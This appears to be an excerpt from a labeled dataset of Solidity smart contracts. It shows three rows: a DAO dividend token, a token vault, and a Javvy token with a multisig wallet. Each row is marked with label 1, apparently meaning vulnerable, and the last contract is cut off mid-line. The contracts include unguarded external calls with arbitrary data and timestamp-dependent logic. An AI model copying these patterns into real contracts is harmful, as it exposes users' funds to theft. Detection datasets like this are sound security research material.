source_codes
stringlengths
72
205k
labels
int64
0
1
__index_level_0__
int64
0
5.56k
pragma solidity ^0.4.25; contract SafeMath { function safeSub(uint256 x, uint256 y) internal pure returns (uint256) { assert(y <= x); uint256 z = x - y; return z; } function safeAdd(uint256 x, uint256 y) internal pure returns (uint256) { uint256 z = x + y; assert(z >= x); return z; } function safeDiv(uint256 x, uint256 y) internal pure returns (uint256) { uint256 z = x / y; return z; } function safeMul(uint256 x, uint256 y) internal pure returns (uint256) { if (x == 0) { return 0; } uint256 z = x * y; assert(z / x == y); return z; } function safePerc(uint256 x, uint256 y) internal pure returns (uint256) { if (x == 0) { return 0; } uint256 z = x * y; assert(z / x == y); z = z / 10000; return z; } function min(uint256 x, uint256 y) internal pure returns (uint256) { uint256 z = x <= y ? x : y; return z; } function max(uint256 x, uint256 y) internal pure returns (uint256) { uint256 z = x >= y ? x : y; return z; } } interface DAppDEXI { function updateAgent(address _agent, bool _status) external; function setAccountType(address user_, uint256 type_) external; function getAccountType(address user_) external view returns(uint256); function setFeeType(uint256 type_ , uint256 feeMake_, uint256 feeTake_) external; function getFeeMake(uint256 type_ ) external view returns(uint256); function getFeeTake(uint256 type_ ) external view returns(uint256); function changeFeeAccount(address feeAccount_) external; function setWhitelistTokens(address token) external; function setWhitelistTokens(address token, bool active, uint256 timestamp, bytes32 typeERC) external; function depositToken(address token, uint amount) external; function tokenFallback(address owner, uint256 amount, bytes data) external returns (bool success); function withdraw(uint amount) external; function withdrawToken(address token, uint amount) external; function balanceOf(address token, address user) external view returns (uint); function order(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce) external; function trade(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) external; function cancelOrder(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) external; function testTrade(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) external view returns(bool); function availableVolume(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) external view returns(uint); function amountFilled(address tokenBuy, uint amountBuy, address tokenSell, uint amountSell, uint expires, uint nonce, address user) external view returns(uint); } interface ERC20I { function balanceOf(address _owner) external view returns (uint256); function totalSupply() external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner() { assert(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { assert(_newOwner != address(0)); newOwner = _newOwner; } function acceptOwnership() public { if (msg.sender == newOwner) { emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } } interface SDADI { function AddToken(address token) external; function DelToken(address token) external; } contract ERC20Base is ERC20I, SafeMath { uint256 totalSupply_; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; uint256 public start = 0; uint256 public period = 30 days; mapping (address => mapping (uint256 => int256)) public ChangeOverPeriod; address[] public owners; mapping (address => bool) public ownersIndex; struct _Prop { uint propID; uint endTime; } _Prop[] public ActiveProposals; mapping (uint => mapping (address => uint)) public voted; function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function balanceOf(address _owner, uint _date) public view returns (uint256) { require(_date >= start); uint256 N1 = (_date - start) / period + 1; uint256 N2 = 1; if (block.timestamp > start) { N2 = (block.timestamp - start) / period + 1; } require(N2 >= N1); int256 B = int256(balances[_owner]); while (N2 > N1) { B = B - ChangeOverPeriod[_owner][N2]; N2--; } require(B >= 0); return uint256(B); } function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); uint lock = 0; for (uint k = 0; k < ActiveProposals.length; k++) { if (ActiveProposals[k].endTime > now) { if (lock < voted[ActiveProposals[k].propID][msg.sender]) { lock = voted[ActiveProposals[k].propID][msg.sender]; } } } require(safeSub(balances[msg.sender], lock) >= _value); if (ownersIndex[_to] == false && _value > 0) { ownersIndex[_to] = true; owners.push(_to); } balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); uint256 N = 1; if (block.timestamp > start) { N = (block.timestamp - start) / period + 1; } ChangeOverPeriod[msg.sender][N] = ChangeOverPeriod[msg.sender][N] - int256(_value); ChangeOverPeriod[_to][N] = ChangeOverPeriod[_to][N] + int256(_value); emit Transfer(msg.sender, _to, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); uint lock = 0; for (uint k = 0; k < ActiveProposals.length; k++) { if (ActiveProposals[k].endTime > now) { if (lock < voted[ActiveProposals[k].propID][_from]) { lock = voted[ActiveProposals[k].propID][_from]; } } } require(safeSub(balances[_from], lock) >= _value); require(allowed[_from][msg.sender] >= _value); if (ownersIndex[_to] == false && _value > 0) { ownersIndex[_to] = true; owners.push(_to); } balances[_from] = safeSub(balances[_from], _value); balances[_to] = safeAdd(balances[_to], _value); allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value); uint256 N = 1; if (block.timestamp > start) { N = (block.timestamp - start) / period + 1; } ChangeOverPeriod[_from][N] = ChangeOverPeriod[_from][N] - int256(_value); ChangeOverPeriod[_to][N] = ChangeOverPeriod[_to][N] + int256(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function trim(uint offset, uint limit) external returns (bool) { uint k = offset; uint ln = limit; while (k < ln) { if (balances[owners[k]] == 0) { ownersIndex[owners[k]] = false; owners[k] = owners[owners.length-1]; owners.length = owners.length-1; ln--; } else { k++; } } return true; } function getOwnersCount() external view returns (uint256 count) { return owners.length; } function getCurrentPeriod() external view returns (uint256 N) { if (block.timestamp > start) { return (block.timestamp - start) / period; } else { return 0; } } function addProposal(uint _propID, uint _endTime) internal { ActiveProposals.push(_Prop({ propID: _propID, endTime: _endTime })); } function delProposal(uint _propID) internal { uint k = 0; while (k < ActiveProposals.length){ if (ActiveProposals[k].propID == _propID) { require(ActiveProposals[k].endTime < now); ActiveProposals[k] = ActiveProposals[ActiveProposals.length-1]; ActiveProposals.length = ActiveProposals.length-1; } else { k++; } } } function getVoted(uint _propID, address _voter) external view returns (uint) { return voted[_propID][_voter]; } } contract Dividends is ERC20Base, Ownable { DAppDEXI public DEX; address[] public tokens; mapping (address => uint) public tokensIndex; mapping (uint => mapping (address => uint)) public dividends; mapping (address => mapping (address => uint)) public ownersbal; mapping (uint => mapping (address => mapping (address => bool))) public AlreadyReceived; uint public multiplier = 100000; event Payment(address indexed sender, uint amount); event setDEXContractEvent(address dex); function AddToken(address token) public { require(msg.sender == address(DEX)); tokens.push(token); tokensIndex[token] = tokens.length-1; } function DelToken(address token) public { require(msg.sender == address(DEX)); require(tokens[tokensIndex[token]] != 0); tokens[tokensIndex[token]] = tokens[tokens.length-1]; tokens.length = tokens.length-1; } function TakeProfit(uint offset, uint limit) external { require (limit <= tokens.length); require (offset < limit); uint N = (block.timestamp - start) / period; require (N > 0); for (uint k = offset; k < limit; k++) { if(dividends[N][tokens[k]] == 0 ) { uint amount = DEX.balanceOf(tokens[k], address(this)); if (k == 0) { DEX.withdraw(amount); dividends[N][tokens[k]] = amount; } else { DEX.withdrawToken(tokens[k], amount); dividends[N][tokens[k]] = amount; } } } } function () public payable { emit Payment(msg.sender, msg.value); } function PayDividends(address token, uint offset, uint limit) external { require (limit <= owners.length); require (offset < limit); uint N = (block.timestamp - start) / period; uint date = start + N * period - 1; require(dividends[N][token] > 0); uint share = 0; uint k = 0; for (k = offset; k < limit; k++) { if (!AlreadyReceived[N][token][owners[k]]) { share = safeMul(balanceOf(owners[k], date), multiplier); share = safeDiv(safeMul(share, 100), totalSupply_); share = safePerc(dividends[N][token], share); share = safeDiv(share, safeDiv(multiplier, 100)); ownersbal[owners[k]][token] = safeAdd(ownersbal[owners[k]][token], share); AlreadyReceived[N][token][owners[k]] = true; } } } function PayDividends(address token) external { uint N = (block.timestamp - start) / period; uint date = start + N * period - 1; require(dividends[N][token] > 0); if (!AlreadyReceived[N][token][msg.sender]) { uint share = safeMul(balanceOf(msg.sender, date), multiplier); share = safeDiv(safeMul(share, 100), totalSupply_); share = safePerc(dividends[N][token], share); share = safeDiv(share, safeDiv(multiplier, 100)); ownersbal[msg.sender][token] = safeAdd(ownersbal[msg.sender][token], share); AlreadyReceived[N][token][msg.sender] = true; } } function withdraw(address token, uint _value) external { require(ownersbal[msg.sender][token] >= _value); ownersbal[msg.sender][token] = safeSub(ownersbal[msg.sender][token], _value); if (token == address(0)) { msg.sender.transfer(_value); } else { ERC20I(token).transfer(msg.sender, _value); } } function withdraw(address token, uint _value, address _receiver) external { require(ownersbal[msg.sender][token] >= _value); ownersbal[msg.sender][token] = safeSub(ownersbal[msg.sender][token], _value); if (token == address(0)) { _receiver.transfer(_value); } else { ERC20I(token).transfer(_receiver, _value); } } function setMultiplier(uint _value) external onlyOwner { require(_value > 0); multiplier = _value; } function getMultiplier() external view returns (uint ) { return multiplier; } function setDEXContract(address _contract) external onlyOwner { DEX = DAppDEXI(_contract); emit setDEXContractEvent(_contract); } } interface CommonI { function transferOwnership(address _newOwner) external; function acceptOwnership() external; function updateAgent(address _agent, bool _state) external; } contract DAO is Dividends { uint minBalance = 1000000000000; uint public minimumQuorum; uint public debatingPeriodDuration; uint public requisiteMajority; struct _Proposal { uint endTimeOfVoting; bool executed; bool proposalPassed; uint numberOfVotes; uint votesSupport; uint votesAgainst; address recipient; uint amount; bytes32 transactionHash; string desc; string fullDescHash; } _Proposal[] public Proposals; event ProposalAdded(uint proposalID, address recipient, uint amount, string description, string fullDescHash); event Voted(uint proposalID, bool position, address voter, string justification); event ProposalTallied(uint proposalID, uint votesSupport, uint votesAgainst, uint quorum, bool active); event ChangeOfRules(uint newMinimumQuorum, uint newdebatingPeriodDuration, uint newRequisiteMajority); event Payment(address indexed sender, uint amount); modifier onlyMembers { require(balances[msg.sender] > 0); _; } function changeVotingRules( uint _minimumQuorum, uint _debatingPeriodDuration, uint _requisiteMajority ) onlyOwner public { minimumQuorum = _minimumQuorum; debatingPeriodDuration = _debatingPeriodDuration; requisiteMajority = _requisiteMajority; emit ChangeOfRules(minimumQuorum, debatingPeriodDuration, requisiteMajority); } function addProposal(address _recipient, uint _amount, string _desc, string _fullDescHash, bytes _transactionByteCode, uint _debatingPeriodDuration) onlyMembers public returns (uint) { require(balances[msg.sender] > minBalance); if (_debatingPeriodDuration == 0) { _debatingPeriodDuration = debatingPeriodDuration; } Proposals.push(_Proposal({ endTimeOfVoting: now + _debatingPeriodDuration * 1 minutes, executed: false, proposalPassed: false, numberOfVotes: 0, votesSupport: 0, votesAgainst: 0, recipient: _recipient, amount: _amount, transactionHash: keccak256(abi.encodePacked(_recipient, _amount, _transactionByteCode)), desc: _desc, fullDescHash: _fullDescHash })); super.addProposal(Proposals.length-1, Proposals[Proposals.length-1].endTimeOfVoting); emit ProposalAdded(Proposals.length-1, _recipient, _amount, _desc, _fullDescHash); return Proposals.length-1; } function checkProposalCode(uint _proposalID, address _recipient, uint _amount, bytes _transactionByteCode) view public returns (bool) { require(Proposals[_proposalID].recipient == _recipient); require(Proposals[_proposalID].amount == _amount); return Proposals[_proposalID].transactionHash == keccak256(abi.encodePacked(_recipient, _amount, _transactionByteCode)); } function vote(uint _proposalID, bool _supportsProposal, string _justificationText) onlyMembers public returns (uint) { _Proposal storage p = Proposals[_proposalID]; require(now <= p.endTimeOfVoting); uint votes = safeSub(balances[msg.sender], voted[_proposalID][msg.sender]); require(votes > 0); voted[_proposalID][msg.sender] = safeAdd(voted[_proposalID][msg.sender], votes); p.numberOfVotes = p.numberOfVotes + votes; if (_supportsProposal) { p.votesSupport = p.votesSupport + votes; } else { p.votesAgainst = p.votesAgainst + votes; } emit Voted(_proposalID, _supportsProposal, msg.sender, _justificationText); return p.numberOfVotes; } function executeProposal(uint _proposalID, bytes _transactionByteCode) public { _Proposal storage p = Proposals[_proposalID]; require(now > p.endTimeOfVoting && !p.executed && p.transactionHash == keccak256(abi.encodePacked(p.recipient, p.amount, _transactionByteCode)) && p.numberOfVotes >= minimumQuorum); if (p.votesSupport > requisiteMajority) { require(p.recipient.call.value(p.amount)(_transactionByteCode)); p.proposalPassed = true; } else { p.proposalPassed = false; } p.executed = true; super.delProposal(_proposalID); emit ProposalTallied(_proposalID, p.votesSupport, p.votesAgainst, p.numberOfVotes, p.proposalPassed); } function delActiveProposal(uint _proposalID) public onlyOwner { super.delProposal(_proposalID); } function transferOwnership(address _contract, address _newOwner) public onlyOwner { CommonI(_contract).transferOwnership(_newOwner); } function acceptOwnership(address _contract) public onlyOwner { CommonI(_contract).acceptOwnership(); } function updateAgent(address _contract, address _agent, bool _state) public onlyOwner { CommonI(_contract).updateAgent(_agent, _state); } function setMinBalance(uint _minBalance) public onlyOwner { assert(_minBalance > 0); minBalance = _minBalance; } } contract Agent is Ownable { address public defAgent; mapping(address => bool) public Agents; constructor() public { Agents[msg.sender] = true; } modifier onlyAgent() { assert(Agents[msg.sender]); _; } function updateAgent(address _agent, bool _status) public onlyOwner { assert(_agent != address(0)); Agents[_agent] = _status; } } contract SDAD is SDADI, DAO { uint public initialSupply = 10 * 10**6; uint public decimals = 8; string public name; string public symbol; event UpdatedTokenInformation(string _name, string _symbol); event UpdatedPeriod(uint _period); constructor(string _name, string _symbol, uint _start, uint _period, address _dexowner) public { name = _name; symbol = _symbol; start = _start; period = _period; totalSupply_ = initialSupply*10**decimals; balances[_dexowner] = totalSupply_; emit Transfer(0x0, _dexowner, balances[_dexowner]); ownersIndex[_dexowner] = true; owners.push(_dexowner); ChangeOverPeriod[_dexowner][1] = int256(balances[_dexowner]); changeVotingRules(safePerc(totalSupply_, 5000), 1440, safePerc(totalSupply_, 2500)); tokens.push(address(0)); tokensIndex[address(0)] = tokens.length-1; } function setTokenInformation(string _name, string _symbol) public onlyOwner { name = _name; symbol = _symbol; emit UpdatedTokenInformation(_name, _symbol); } function setPeriod(uint _period) public onlyOwner { period = _period; emit UpdatedPeriod(_period); } function setOwnerToSelf() public onlyOwner { owner = address(this); emit OwnershipTransferred(msg.sender, address(this)); } }
1
5,510
contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Recoverable is Ownable { function Recoverable() { } function recoverTokens(ERC20Basic token) onlyOwner public { token.transfer(owner, tokensToBeReturned(token)); } function tokensToBeReturned(ERC20Basic token) public returns (uint) { return token.balanceOf(this); } } library SafeMathLib { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract StandardTokenExt is StandardToken { function isToken() public constant returns (bool weAre) { return true; } } contract TokenVault is Ownable, Recoverable { using SafeMathLib for uint; uint public investorCount; uint public tokensToBeAllocated; uint public totalClaimed; uint public tokensAllocatedTotal; mapping(address => uint) public balances; mapping(address => uint) public claimed; uint public freezeEndsAt; uint public lockedAt; StandardTokenExt public token; enum State{Unknown, Loading, Holding, Distributing} event Allocated(address investor, uint value); event Distributed(address investors, uint count); event Locked(); function TokenVault(address _owner, uint _freezeEndsAt, StandardTokenExt _token, uint _tokensToBeAllocated) { owner = _owner; if(owner == 0) { throw; } token = _token; if(!token.isToken()) { throw; } if(_freezeEndsAt == 0) { throw; } if(_tokensToBeAllocated == 0) { throw; } freezeEndsAt = _freezeEndsAt; tokensToBeAllocated = _tokensToBeAllocated; } function setInvestor(address investor, uint amount) public onlyOwner { if(lockedAt > 0) { throw; } if(amount == 0) throw; if(balances[investor] > 0) { throw; } balances[investor] = amount; investorCount++; tokensAllocatedTotal += amount; Allocated(investor, amount); } function lock() onlyOwner { if(lockedAt > 0) { throw; } if(tokensAllocatedTotal != tokensToBeAllocated) { throw; } if(token.balanceOf(address(this)) != tokensAllocatedTotal) { throw; } lockedAt = now; Locked(); } function recoverFailedLock() onlyOwner { if(lockedAt > 0) { throw; } token.transfer(owner, token.balanceOf(address(this))); } function getBalance() public constant returns (uint howManyTokensCurrentlyInVault) { return token.balanceOf(address(this)); } function claim() { address investor = msg.sender; if(lockedAt == 0) { throw; } if(now < freezeEndsAt) { throw; } if(balances[investor] == 0) { throw; } if(claimed[investor] > 0) { throw; } uint amount = balances[investor]; claimed[investor] = amount; totalClaimed += amount; token.transfer(investor, amount); Distributed(investor, amount); } function tokensToBeReturned(ERC20Basic tokenToClaim) public returns (uint) { if (address(tokenToClaim) == address(token)) { return getBalance().minus(tokensAllocatedTotal); } else { return tokenToClaim.balanceOf(this); } } function getState() public constant returns(State) { if(lockedAt == 0) { return State.Loading; } else if(now > freezeEndsAt) { return State.Distributing; } else { return State.Holding; } } }
1
3,627
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeERC20 { function safeTransfer( ERC20Basic _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping(uint => Transaction) public transactions; mapping(uint => mapping(address => bool)) public confirmations; mapping(address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != address(0)); _; } modifier validRequirement(uint ownerCount, uint _required) { bool ownerValid = ownerCount <= MAX_OWNER_COUNT; bool ownerNotZero = ownerCount != 0; bool requiredValid = _required <= ownerCount; bool requiredNotZero = _required != 0; require(ownerValid && ownerNotZero && requiredValid && requiredNotZero); _; } function() payable public { fallback(); } function fallback() payable public { if (msg.value > 0) { emit Deposit(msg.sender, msg.value); } } constructor( address[] _owners, uint _required ) public validRequirement(_owners.length, _required) { for (uint i = 0; i < _owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i = 0; i < owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i = 0; i < owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (txn.destination.call.value(txn.value)(txn.data)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txn.executed = false; } } } function isConfirmed(uint transactionId) public view returns (bool) { uint count = 0; for (uint i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination : destination, value : value, data : data, executed : false }); transactionCount += 1; emit Submission(transactionId); } function getConfirmationCount(uint transactionId) public view returns (uint count) { for (uint i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) { count += 1; } } } function getTransactionCount( bool pending, bool executed ) public view returns (uint count) { for (uint i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed ) { count += 1; } } } function getOwners() public view returns (address[]) { return owners; } function getConfirmations( uint transactionId ) public view returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i]; } function getTransactionIds( uint from, uint to, bool pending, bool executed ) public view returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i = 0; i < transactionCount; i++) if (pending && !transactions[i].executed || executed && transactions[i].executed ) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i = from; i < to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } } contract JavvyMultiSig is MultiSigWallet { constructor( address[] _owners, uint _required ) MultiSigWallet(_owners, _required) public {} } contract Config { uint256 public constant jvySupply = 333333333333333; uint256 public constant bonusSupply = 83333333333333; uint256 public constant saleSupply = 250000000000000; uint256 public constant hardCapUSD = 8000000; uint256 public constant preIcoBonus = 25; uint256 public constant minimalContributionAmount = 0.4 ether; function getStartPreIco() public view returns (uint256) { uint256 _preIcoStartTime = block.timestamp + 1 minutes; return _preIcoStartTime; } function getStartIco() public view returns (uint256) { uint256 _icoStartTime = block.timestamp + 2 minutes; return _icoStartTime; } function getEndIco() public view returns (uint256) { uint256 _icoEndTime = 1567209600; return _icoEndTime; } } contract JavvyToken is DetailedERC20, StandardToken, Ownable, Config { address public crowdsaleAddress; address public bonusAddress; address public multiSigAddress; constructor( string _name, string _symbol, uint8 _decimals ) public DetailedERC20(_name, _symbol, _decimals) { require( jvySupply == saleSupply + bonusSupply, "Sum of provided supplies is not equal to declared total Javvy supply. Check config!" ); totalSupply_ = tokenToDecimals(jvySupply); } function initializeBalances( address _crowdsaleAddress, address _bonusAddress, address _multiSigAddress ) public onlyOwner() { crowdsaleAddress = _crowdsaleAddress; bonusAddress = _bonusAddress; multiSigAddress = _multiSigAddress; _initializeBalance(_crowdsaleAddress, saleSupply); _initializeBalance(_bonusAddress, bonusSupply); } function _initializeBalance(address _address, uint256 _supply) private { require(_address != address(0), "Address cannot be equal to 0x0!"); require(_supply != 0, "Supply cannot be equal to 0!"); balances[_address] = tokenToDecimals(_supply); emit Transfer(address(0), _address, _supply); } function tokenToDecimals(uint256 _amount) private pure returns (uint256){ return _amount * (10 ** 12); } function getRemainingSaleTokens() external view returns (uint256) { return balanceOf(crowdsaleAddress); } } contract Escrow is Ownable { using 